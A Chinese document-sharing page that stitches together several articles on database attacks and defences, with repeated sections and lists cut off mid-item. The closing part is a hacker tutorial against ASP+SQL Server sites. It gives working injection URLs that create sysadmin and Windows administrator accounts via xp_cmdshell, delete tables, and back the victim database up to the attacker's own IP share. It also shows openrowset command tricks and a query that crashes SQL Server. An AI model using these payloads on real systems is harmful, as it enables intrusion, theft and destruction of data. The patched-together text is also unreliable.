数据库的一些攻击
- 格式:docx
- 大小:19.95 KB
- 文档页数:14
SQL注入攻击是黑客对数据库进行攻击的常用手段之一。
随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。
但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。
用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。
SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。
但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。
能不能根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据,是高手与“菜鸟”的根本区别。
下面从SOL注入的背景讲起,再谈谈如何防御等问题。
一SQL注入攻击的背景:在计算机技术高速发展的今天,越来越让人们头疼的是面临越来越“变态”和复杂的威胁网站技术,他们利用Internet 执行各种恶意活动,如身份窃取、私密信息窃取、带宽资源占用等。
它们潜入之后,还会扩散并不断更新自己。
这些活动常常利用用户的好奇心,在用户不知道或未来允许的情况下潜入用户的PC,不知不觉中,帐户里的资金就被转移了,公司讯息也被传送出去,危害十分严重。
2006年8月16日,第一个Web威胁样本出现,截止到2006年10月25日,已经产生了第150个变种,并且,还在不断地演化下去。
网站威胁的目标定位有多个维度,是个人还是公司,还是某种行业,都有其考虑,甚至国家、地区、性别、种族、宗教等也成为发动攻击的原因或动机。
攻击还会采用多种形态,甚至是复合形态,比如病毒、蠕虫、特洛伊、间谍软件、僵尸、网络钓鱼电子邮件、漏洞利用、下载程序、社会工程、rootkit、黑客,结果都可以导致用户信息受到危害,或者导致用户所需的服务被拒绝和劫持。
数据库攻击的一般方法随着信息技术的快速发展,数据库在各行各业中的应用越来越广泛。
然而,数据库的安全性也成为了一个重要的问题。
数据库攻击是指黑客通过各种手段获取或破坏数据库中的数据的行为。
为了保护数据库的安全性,我们需要了解数据库攻击的一般方法,以便及时采取相应的防护措施。
一、注入攻击注入攻击是数据库攻击中最常见的一种方法。
黑客通过在用户输入的数据中插入恶意代码,从而执行非法的数据库操作。
常见的注入攻击包括SQL注入和命令注入。
SQL注入是指黑客通过构造恶意的SQL语句,从而绕过应用程序的身份验证,获取或修改数据库中的数据。
而命令注入是指黑客通过在用户输入的数据中插入系统命令,从而执行非法的系统操作。
二、跨站脚本攻击(XSS)跨站脚本攻击是指黑客通过在网页中插入恶意脚本,从而获取用户的敏感信息或执行非法操作。
黑客可以通过在网页表单、URL参数或Cookie中插入恶意脚本,当用户浏览该网页时,脚本会被执行,从而导致安全漏洞。
三、跨站请求伪造(CSRF)跨站请求伪造是指黑客通过伪造用户的请求,从而执行非法操作。
黑客可以通过在恶意网站中插入伪造请求,当用户在浏览器中登录目标网站时,恶意请求会被自动发送,从而导致用户的数据被窃取或被篡改。
四、未授权访问未授权访问是指黑客通过绕过应用程序的身份验证机制,直接访问数据库中的敏感数据。
黑客可以通过猜测密码、利用弱口令或者窃取管理员账号等方式,获取对数据库的控制权。
五、拒绝服务攻击(DoS)拒绝服务攻击是指黑客通过发送大量的请求,占用服务器的资源,从而导致正常用户无法访问该服务器或服务。
黑客可以通过发送大量的查询请求或恶意的网络流量,使数据库服务器崩溃或运行缓慢,从而影响正常的业务运行。
六、数据库逻辑漏洞数据库逻辑漏洞是指数据库本身存在的缺陷或错误,黑客可以通过利用这些漏洞获取或修改数据库中的数据。
例如,数据库中的权限设置不当、数据加密不完善或者没有及时更新数据库软件等,都可能会导致数据库的安全性受到威胁。
对数据库结构威胁最严重的十种威胁。
威胁 1 - 滥用过高权限当用户(或应用程序)被授予超出了其工作职能所需的数据库访问权限时,这些权限可能会被恶意滥用。
例如,一个大学管理员在工作中只需要能够更改学生的联系信息,不过他可能会利用过高的数据库更新权限来更改分数。
09年的时候宁夏大学报案,发现他们的学籍数据库遭到改动,很多人的成绩被改了,后来经西夏区警方查实为黑客改动,暴露了数据库在分层管理不严的缺陷。
威胁 2 - 滥用合法权用户还可能将合法的数据库权限用于未经授权的目的。
假设一个恶意的医务人员拥有可以通过自定义 Web 应用程序查看单个患者病历的权限。
通常情况下,该 Web 应用程序的结构限制用户只能查看单个患者的病史,即无法同时查看多个患者的病历并且不允许复制电子副本。
但是,恶意的医务人员可以通过使用其他客户端(如MS-Excel)连接到数据库,来规避这些限制。
通过使用 MS-Excel 以及合法的登录凭据,该医务人员就可以检索和保存所有患者的病历。
这种私自复制患者病历数据库的副本的做法不可能符合任何医疗组织的患者数据保护策略。
要考虑两点风险。
第一点是恶意的医务人员会将患者病历用于金钱交易。
第二点可能更为常见,即员工由于疏忽将检索到的大量信息存储在自己的客户端计算机上,用于合法工作目的。
一旦数据存在于终端计算机上,就可能成为特洛伊木马程序以及笔记本电脑盗窃等的攻击目标。
威胁 3 - 权限提升攻击者可以利用数据库平台软件的漏洞将普通用户的权限转换为管理员权限。
漏洞可以在存储过程、内置函数、协议实现甚至是 SQL 语句中找到。
例如,一个金融机构的软件开发人员可以利用有漏洞的函数来获得数据库管理权限。
使用管理权限,恶意的开发人员可以禁用审计机制、开设伪造的帐户以及转帐等。
威胁 4 - 平台漏洞底层操作系统(Windows 2000、UNIX 等)中的漏洞和安装在数据库服务器上的其他服务中的漏洞可能导致未经授权的访问、数据破坏或拒绝服务。
数据库安全案例数据库安全是一个关键问题,涉及到数据的机密性、完整性和可用性。
以下是一些数据库安全案例,涵盖了各种威胁和攻击方式。
1. 未经授权访问一个黑客通过猜测用户名和密码,未经授权地访问了一个医疗数据库,获取了患者的敏感信息。
这可能导致患者的隐私泄露和身份盗窃。
2. 恶意代码注入攻击者向数据库中注入恶意代码,以获取对数据库的完全控制。
然后,他们可以查看、修改或删除数据,甚至完全摧毁数据库。
3. 权限提升攻击者利用数据库中的漏洞,提升自己的权限,从而执行恶意操作。
这可能导致数据泄露、数据篡改或拒绝服务攻击。
4. 数据泄露在多个场景中,敏感数据(如信用卡信息、用户凭据等)泄露到不受信任的第三方或互联网上。
这可能导致财务损失、声誉损害和法律责任。
5. 非法操作攻击者使用非法操作(如SQL注入)来访问数据库并执行恶意操作。
这可能导致数据泄露、数据篡改或拒绝服务攻击。
6. 跨站脚本攻击攻击者在Web应用程序中注入恶意脚本,当用户访问受感染的页面时,脚本将执行攻击者的恶意指令。
这可能导致用户的个人信息泄露和系统受损。
7. 密码破解攻击者使用密码破解工具破解数据库中的用户密码,从而获取敏感信息。
这可能导致数据泄露和身份盗窃。
8. 拒绝服务攻击攻击者通过使数据库过载或使其变得不可用,拒绝为合法用户提供服务。
这可能导致业务中断和财务损失。
9. 恶意数据注入攻击者向数据库中注入恶意数据(如恶意代码或垃圾数据),以破坏数据的完整性和安全性。
这可能导致数据泄露和系统受损。
10. 数据库服务器漏洞利用攻击者利用数据库服务器的漏洞,获取对服务器的完全控制权。
然后,他们可以查看、修改或删除数据,甚至完全摧毁数据库。
数据库密码破解方法在现代互联网时代,数据库安全绝对是需要高度关注的问题之一,因为数据库中储存着各种敏感信息,例如用户密码、信用卡信息、个人身份证号等。
然而,不幸的是,许多数据库管理员通常都会忽略数据库密码的安全性,这就使得黑客能够通过破解数据库密码来获取这些敏感信息。
在本文中,我们将探讨一些常见的数据库密码破解方法。
1. 字典攻击字典攻击是一种基于暴力破解的密码攻击方法,它是一种非常普遍的密码破解方法。
该方法的原理是使用一个包含常用密码和单词的字典文件,然后以这些密码和单词作为破解密码的基础,依次尝试每个可能的密码组合,直到找到正确的密码为止。
2. 暴力破解暴力破解是一种基于暴力破解的密码攻击方法,它是一种极为暴力且耗时的方法。
这种方法通过不断尝试所有可能的密码组合来破解密码。
虽然这种方法可能需要很长时间来尝试所有密码组合,但如果密码不够强大,黑客最终还是可以在花费较短的时间内找到正确的密码。
3. 社交工程社交工程是一种通过网络攻击来获取信息的技术。
该方法通常通过伪造电子邮件或网站,以获取受害者的信息。
例如,黑客可能会向数据库管理员发送伪造的电子邮件,以获取数据库管理员的密码或其他敏感信息。
当受害者被欺骗时,黑客就可以利用这些信息来破解数据库密码。
4. 弱口令弱口令是一种容易被黑客破解的密码。
它是指使用容易被猜测的、简单的、不安全的密码,例如“123456”、“password”等。
通常,这些密码是由不重视安全的用户或管理员设置的。
黑客可以通过常用密码的字典或其他方式来猜测弱口令,进而成功破解数据库密码。
为了保护数据库密码的安全性,数据库管理员应该采取以下措施: 1. 为数据库设置强密码:管理员应该为数据库设置足够长、复杂、不易猜测的密码,以确保黑客无法通过字典攻击或暴力破解来破解密码。
2. 加强访问控制:只有特定的用户才能够访问数据库,管理员应该设置适当的权限和访问控制来保护数据库的安全。
3. 定期更改密码:管理员应该定期更改数据库的密码,以防黑客通过社交工程等方式获取到密码。
数据库信息安全风险和风险评估概述:数据库信息安全风险是指可能导致数据库系统遭受损害、数据泄露或未经授权访问的潜在威胁。
为了保护数据库的安全性,评估数据库信息安全风险是至关重要的。
本文将详细介绍数据库信息安全风险的常见类型和评估方法。
一、数据库信息安全风险类型:1. 数据泄露风险:数据泄露是指未经授权的访问或披露数据库中的敏感信息。
这些信息可能包括个人身份信息、财务数据、商业机密等。
数据泄露可能导致个人隐私泄露、财务损失、声誉受损等问题。
2. 数据库攻击风险:数据库攻击是指黑客或恶意用户试图非法访问或破坏数据库系统的行为。
这些攻击可能包括SQL注入、拒绝服务攻击、跨站点脚本攻击等。
数据库攻击可能导致数据被篡改、系统瘫痪、服务不可用等问题。
3. 数据库配置风险:数据库配置错误可能导致安全漏洞的存在。
例如,弱密码、未及时更新的补丁、未正确配置的权限等都可能使数据库容易受到攻击。
数据库配置风险可能导致数据泄露、系统崩溃、未经授权访问等问题。
二、数据库信息安全风险评估方法:1. 风险识别:风险识别是评估数据库信息安全风险的第一步。
通过审查数据库系统的架构、配置文件和日志记录,识别潜在的安全风险。
同时,可以使用安全扫描工具来发现可能存在的漏洞和弱点。
2. 风险分析:在风险识别的基础上,进行风险分析,评估各个风险的潜在影响和可能性。
可以使用风险矩阵或风险评估模型来量化风险的等级。
风险分析的目的是确定哪些风险是最严重的,需要优先解决。
3. 风险评估:风险评估是根据风险分析的结果,对各个风险进行综合评估,确定其对数据库系统的威胁程度。
可以使用定性评估和定量评估的方法,将风险分为高、中、低等级。
风险评估的目的是为了帮助决策者制定相应的风险应对策略。
4. 风险控制:风险控制是指采取相应的措施来降低或消除数据库信息安全风险。
根据风险评估的结果,制定相应的安全策略和措施,如加强身份验证、加密敏感数据、定期备份数据、更新补丁等。
计算机网络数据库存在的安全威胁及应对计算机网络数据库是企业和组织重要的数据存储和管理方式,但同时也面临着各种安全威胁。
如果不加以应对,这些安全威胁可能导致数据泄露、数据损坏、服务中断等问题。
本文将介绍一些常见的数据库安全威胁,并提出相应的应对措施。
1. 数据泄露:数据库中存储着企业和组织的重要数据,如客户信息、财务数据等。
一旦数据库遭到攻击或未经授权的访问,这些数据可能被窃取,导致隐私泄露和经济损失。
应对措施包括加强身份认证措施,限制数据库访问权限,加密敏感数据等。
2. 数据篡改:黑客可能通过越权操作或注入恶意代码来篡改数据库中的数据,如修改订单金额、更改客户信息等。
为了防止数据篡改,应采取数据完整性检查机制、实时监控数据库的变动情况,并及时发现和处理异常。
3. 数据破坏:黑客可以通过攻击数据库系统的漏洞,或者使用病毒、恶意软件等方式来破坏数据库中的数据。
为了防止数据破坏,应及时修补数据库系统的漏洞,使用杀毒软件和防火墙等安全工具进行保护。
4. 数据库拒绝服务(DoS)攻击:黑客可能通过发送大量的请求或恶意数据包来占用数据库系统的资源,从而造成系统无法正常运行的情况。
为了应对DoS攻击,可以使用防火墙和入侵检测系统等工具进行流量过滤和攻击检测。
5. 身份伪造:黑客可能通过获取合法用户的身份信息,进行未经授权的数据库访问和操作。
为了防止身份伪造,可以采用多因素身份认证、强密码策略等措施,加强对用户身份的验证和授权管理。
6. 数据库漏洞利用:数据库系统中存在各种漏洞,如果未及时修补,黑客可能通过利用这些漏洞进行入侵和攻击。
为了减少数据库漏洞的利用,应及时安装数据库系统的安全补丁,并进行定期的漏洞扫描和安全评估。
计算机网络数据库存在着多种安全威胁,企业和组织应加强对数据库的安全管理和保护措施。
除了以上提到的措施外,还应定期备份数据库,制定灾难恢复计划,建立安全监控和告警机制,以及加强员工的安全意识培训。
常见的数据库攻击⽅法下⾯是六⼤数据库攻击: 1.强⼒(或⾮强⼒)破解弱⼝令或默认的⽤户名及⼝令 2.特权提升 3.利⽤未⽤的和不需要的数据库服务和和功能中的漏洞 4.针对未打补丁的数据库漏洞 5.SQL注⼊ 6.窃取备份(未加密)的磁带下⾯分别分析⼀下: 1.对弱⼝令或默认⽤户名/⼝令的破解 以前的Oracle数据库有⼀个默认的⽤户名:Scott及默认的⼝令:tiger;⽽微软的SQL Server的系统管理员账户的默认⼝令是也是众所周知。
当然这些默认的登录对于⿊客来说尤其⽅便,借此他们可以轻松地进⼊数据库。
Oracle和其它主要的数据库⼚商在其新版本的产品中表现得聪明起来,它们不再让⽤户保持默认的和空的⽤户名及⼝令等。
但这并不意味着,所有的组织都在较⽼的数据库中敞开着⼤门。
Forrester的Yuhanna说,“问题是企业拥有15000个数据库,⽽完全地保护其安全并不容易。
有时企业只能保障关键数据库的安全,其它的就不太安全了。
现在,较新的数据库强制使你在安装时改变系统管理员账户的默认⼝令。
但较⽼的数据库版本可能存在着问题。
” 但即使是唯⼀的、⾮默认的数据库⼝令也是不安全的。
Sentrigo的 Markovich 说,“你总可以在客户那⾥找到弱⼝令和易于猜测的⼝令。
通过强⼒破解或只试着⽤不同的组合就可以轻易地找到这种⼝令。
” ⼝令破解⼯具有很多,并且通过Google搜索或等站点就可以轻易地获得,这样就会连接到Cain 、 Abel或John theRipper等流⾏的⼯具。
保护⾃⼰免受⼝令攻击的最佳⽅法:避免使⽤默认⼝令,建⽴强健的⼝令管理程序并对⼝令经常改变。
2.特权提升 有⼏种内部⼈员攻击的⽅法可以导致恶意的⽤户占有超过其应该具有的系统特权。
⽽且外部的攻击者有时通过破坏操作系统⽽获得更⾼级别的特权。
应⽤安全公司的销售副总裁Ted Julian说,“这是⼀种常见的威胁因素。
” 特权提升通常更多地与错误的配置有关:⼀个⽤户被错误地授与了超过其实际需要⽤来完成⼯作的、对数据库及其相关应⽤程序的访问和特权。
了解10种侵入数据库方法防患未然早做准备随着科技的发展和信息的日益数字化,数据库越来越成为组织和企业中储存和管理重要数据的重要工具。
数据库同时也成为黑客和恶意软件的主要目标。
为了防范数据库的侵入,组织和企业应该采取一些措施并提前做好准备,以防止数据泄漏和其他严重后果的发生。
以下是10种常见的数据库侵入方法以及相应的防范措施:1. 网络钓鱼:黑客通过发送伪装成合法机构的电子邮件或短信来获得用户的账户和密码,进而访问数据库。
防范措施包括提高员工的网络安全意识,不轻易点击可疑的链接和附件,并定期进行网络安全培训。
2. 弱密码攻击:黑客使用暴力破解或字典攻击等方法来破解密码,进而侵入数据库。
防范措施包括设定强密码策略,要求用户使用复杂的密码,定期更换密码,并使用多因素身份验证。
3. SQL注入攻击:黑客通过在应用程序的输入字段中插入恶意的SQL代码,从而执行非授权的数据库操作。
防范措施包括使用参数化的查询来过滤用户输入,限制数据库用户的权限,并进行安全代码审计。
4. 跨站脚本(XSS)攻击:黑客通过在网页中嵌入恶意的JavaScript代码,窃取用户的会话信息并访问数据库。
防范措施包括对用户输入进行过滤和验证,限制JavaScript的执行权限,并使用安全的Cookie设置。
5. 物理攻击:黑客通过物理访问数据库服务器来获取敏感数据。
防范措施包括将数据库服务器放置在安全的区域,设有门禁和监控系统,并定期进行物理安全检查。
6. 无线网络攻击:黑客通过窃听无线网络的数据流量来获取数据库的访问权限。
防范措施包括使用加密的无线网络连接,禁用不必要的无线功能,并进行定期的网络扫描。
7. 数据库弱点攻击:黑客通过利用数据库软件本身的漏洞来获取非授权访问数据库的权限。
防范措施包括定期更新和升级数据库软件,及时应用安全补丁,并进行漏洞扫描和渗透测试。
8. 社交工程攻击:黑客通过与员工或系统管理员建立信任关系,从而获取访问数据库的权限。
了解10种侵入数据库方法防患未然早做准备数据库是组织、企业等重要的数据存储和管理工具,但同时也是黑客攻击的主要目标之一。
为了保护数据库安全,必须了解一些常见的数据库入侵方法,并做好相应的防范准备。
下面介绍10种常见的数据库入侵方法以及相应的防范措施。
1. SQL注入攻击:黑客通过在用户输入的SQL查询中插入恶意代码,绕过认证系统,获取数据库中的敏感信息。
防范措施包括使用参数化查询、输入验证和过滤、最小化权限等。
2. 跨站脚本攻击(XSS):黑客通过在网页中插入恶意脚本,获取用户的敏感信息或篡改网页内容。
防范措施包括对用户输入进行过滤和转义、使用HTTPOnly标记、禁用浏览器特定的功能等。
3. 跨站请求伪造(CSRF)攻击:黑客通过伪造用户的请求,获取用户的敏感信息或执行未经授权的操作。
防范措施包括使用安全的随机令牌、验证Referer头字段、使用验证码等。
4. 后门攻击:黑客通过在数据库中插入恶意代码或程序,用于后续的入侵行为。
防范措施包括加强权限管理、定期检查数据库中的异常内容等。
5. 系统漏洞利用:黑客通过利用操作系统或数据库软件中的漏洞,获得对数据库的访问权限。
防范措施包括及时安装操作系统和软件补丁、使用防火墙和入侵检测系统等。
6. 密码猜测攻击:黑客通过尝试不同的用户名和密码组合,获得对数据库的访问权限。
防范措施包括使用强密码策略、限制登录尝试次数、使用多因素身份验证等。
7. 社会工程学攻击:黑客通过欺骗、伪装或胁迫用户,获取其数据库的访问权限。
防范措施包括加强员工安全意识培训、限制对数据库的物理访问等。
8. 无线网络攻击:黑客通过窃听或干扰无线网络,获取数据库的传输数据。
防范措施包括使用加密协议、控制无线接入点的访问权限、定期更改无线网络的密码等。
9. 物理攻击:黑客通过直接访问数据库服务器或存储介质,获取数据库的信息。
防范措施包括控制服务器物理访问权限、加密数据库存储介质等。
10. 内部威胁:内部人员利用其授权的权限,进行未经授权的数据库操作或泄漏敏感信息。
关于数据库的简单入侵和无赖破坏,以xxx做例子对于国内外的很多新闻,BBS和电子商务网站都采用ASP+SQL 设计,而写 ASP的程序员很多(有很多刚刚毕业的),所以,ASP+SQL的攻击成功率也比较高。
这类攻击方法与NT的版本和SQL的版本没有多大的关系,也没有相应的补丁,因为漏洞是程序员自己造成的,而且大多数讲解ASP编程的书上,源代码例子就有这个漏洞存在,其实只是一些合法的ASP对SQL的请求,就留下后患无穷!这种攻击方法最早源于'or'1'='1的漏洞(我们暂且称其为漏洞),这个漏洞的原理我想大家因该都知道了,那么随之而来的便是;execsp_addlogin hax(在数据库内添加一个hax用户),但是这个方法的限制很大,首先ASP使用的SQL Server账号是个管理员,其次请求的提交变量在整个SQL语句的最后,因为有一些程序员采用SELECT * FROM news WHERE id=... AND topic=... AND .....这种方法请求数据库,那么如果还用以上的例子就会news.asp?id=2;exec sp_addlogin hax变成SELECT * FROM news WHERE id=2;exec sp_addlogin haxAND topic=... AND ...整个SQL语句在执行sp_addlogin的存储过程后有AND与判断存在,语法错误,你的sp_addlogin自然也不能正常运行了,因此试试看下面这个方法news.asp?id=2;exec sp_addlogin hax;--后面的--符号把sp_addlogin后的判断语句变成了注释,这样就不会有语法错误了,sp_addlogin正常执行!那么我们连一起来用吧news.asp?id=2;exec master.dbo.sp_addlogin hax;-- news.asp?id=2;exec master.dbo.sp_passwordnull,hax,hax;--news.asp?id=2;exec master.dbo.sp_addsrvrolemember sysadmin hax;--news.asp?id=2;exec master.dbo.xp_cmdshell 'net user hax hax /workstations:* /times:all /passwordchg:yes /passwordreq:yes/active:yes /add';--news.asp?id=2;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';--这样,你在他的数据库和系统内都留下了hax管理员账号了当然,前提条件是ASP用管理员账号,所以虚拟空间大家就别试了,不会存在这个漏洞的。
以后我们会讨论,如果对方的ASP不是用SQL管理员账号,我们如何入侵,当然也会涉及到1433端口的入侵当然大家可以试试看在id=2后面加上一个'符号,主要看对方的ASP怎么写了再说说当ASP程序使用的SQL账号不是管理员的时候我们该如何做。
你如xxx的主页,有新闻内容,如下:/news/news-2.asp?newid=117大家可以试试看/news/news-2.asp?newid=117;sel ect 123;--呵呵,报语法错误,select 123错误,显而易见,天融新的ASP在newid变量后面用'号结束那么试试看/news/news-2.asp?newid=117';de lete news;--哈哈,我想只要表名猜对了,新闻库就被删了通常ASP用的SQL账号就算不是管理员也会是某个数据库的owner,至少对于这个库有很高的管理权限但是我们不知道库名该怎么?看看db_name()函数吧打开你的query analyzer,看看print db_name() ,呵呵,当前的数据库名就出来了以次类推,如下: declare @a sysname;set@a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat' ,name='test';--呵呵,他的当前数据库就备份到你的硬盘上了,接下来要做的大家心里都明白了吧同理这个方法可以找到对方的SQL的IP先装一个防火墙,打开ICMP和139TCP和445TCP的警告提示然后试试看news.asp?id=2;exec master.dbo.xp_cmdshell 'ping 你的IP'如果防火墙提示有人ping你,那么因该可以肯定对方的ASP 用的是SQL的管理员权限,同时也确定了对方的SQL Server 的准确位置,因为很多大一点的网站考虑性能,会吧web服务和数据库分开,当对方大上了补丁看不到源代码时,我想只有这个方法能很快的定位对方的SQL Server的位置了那么,如果对方ASP没有SQL管理员权限,我们就不能调用xp_cmdshell了,该怎么办?别着急,试试看这个news.asp?id=2;declare @a;set@a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat',name='test';--呵呵,你的防火墙该发出警告了,有人连接你的445或139(win9端口了,这样,对方的SQL的ip一样也可以暴露那么如果对方连某个数据库的owner也不是的话,我们该怎么办?下次我会告诉大家一个更好的办法。
其实backuo database到你的硬盘还是有点夸张了,如果对方数据库很庞大,你又是拨号上网,呵呵,劝你别试了,很难成功传输的下次我们还会谈到如何骗过IDS执行ASP+SQL入侵目前有些好的IDS已经开始监视xp_cmdshell这些关键字了好吧,同志们下次见所有以上url希望大家通过vbscript提交,因为浏览器的地址栏会屏蔽一些特殊字符,这样你的命令就不能完整传输了window.location.herf=URL补充:这个问题以前载网上也提出来过,但是只是一些简单的xp_cmdshell调用限制很大,其实这里面还有很多值得深入的地方比如。
xxx就有这个问题,而且他们采用ms的三层结构作的用以前说的xp_cmdshell做法就不行了,字符串会被过滤,但是我尝试了,用sql的异类请求仍然可以在对方的机器上开启telnet服务和administrators组的账号!由于对方防火墙很严checkpoint数据报进出都只开放80端口因此,要想获得他的数据库结构比较困难了,但是还是有办法可以做到的:P顺便提醒大家注意一下关于sqloledb,db_name,openrowset,opendatasource这些系统函数当asp的sqlserver账号只是一个普通用户时,他们会很有用的!sql server新漏洞和一些突破口下面我要谈到一些sqlserver新的bug,虽然本人经过长时间的努力,当然也有点幸运的成分在内,才得以发现,不敢一个人独享,拿出来请大家1。
关于openrowset和opendatasource可能这个技巧早有人已经会了,就是利用openrowset发送本地命令通常我们的用法是(包括MSDN的列子)如下select * fromopenrowset('sqloledb','myserver';'sa';'','select * from table')可见(即使从字面意义上看)openrowset只是作为一个快捷的远程数据库访问,它必须跟在select后面,也就是说需要返回一个recordset那么我们能不能利用它调用xp_cmdshell呢?答案是肯定的!select * fromopenrowset('sqloledb','server';'sa';'','set fmtonly off exec master.dbo.xp_cmdshell ''dir c:\''')必须加上set fmtonly off用来屏蔽默认的只返回列信息的设置,这样xp_cmdshell返回的output集合就会提交给前面的select显示,如果采用默认设置,会返回空集合导致select出错,命令也就无法执行了。
那么如果我们要调用sp_addlogin呢,他不会像xp_cmdshell返回任何集合的,我们就不能再依靠fmtonly设置了,可以如下操作select * fromopenrowset('sqloledb','server';'sa';'','select''OK!'' exec master.dbo.sp_addlogin Hectic')这样,命令至少会返回select 'OK!'的集合,你的机器商会显示OK!,同时对方的数据库内也会增加一个Hectic的账号,也就是说,我们利用select 'OK!'的返回集合欺骗了本地的select请求,是命令能够正常执行,通理sp_addsrvrolemember和opendatasource也可以如此操作!至于这个方法真正的用处,大家慢慢想吧:P2。
关于msdasql两次请求的问题不知道大家有没有试过用msdasql连接远程数据库,当然这个api必须是sqlserver的管理员才可以调用,那么如下select * from openrowset('msdasql','driver={sqlserver};server=server;address=server,1433;uid=sa;pw d=;database=master;network=dbmssocn','select * from table1 select * fromtable2')当table1和table2的字段数目不相同时,你会发现对方的sqlserver崩溃了,连本地连接都会失败,而系统资源占用一切正常,用pskill杀死sqlserver进程后,如果不重启机器,sqlserver要么无法正常启动,要么时常出现非法操作,我也只是碰巧找到这个bug的,具体原因我还没有摸透,而且很奇怪的是这个现象只出现在msdasql上,sqloledb就没有这个问题,看来问题不是在于请求集合数目和返回集合数目不匹配上,因该还是msdasql本身的问题,具体原因,大家一起慢慢研究吧:P3。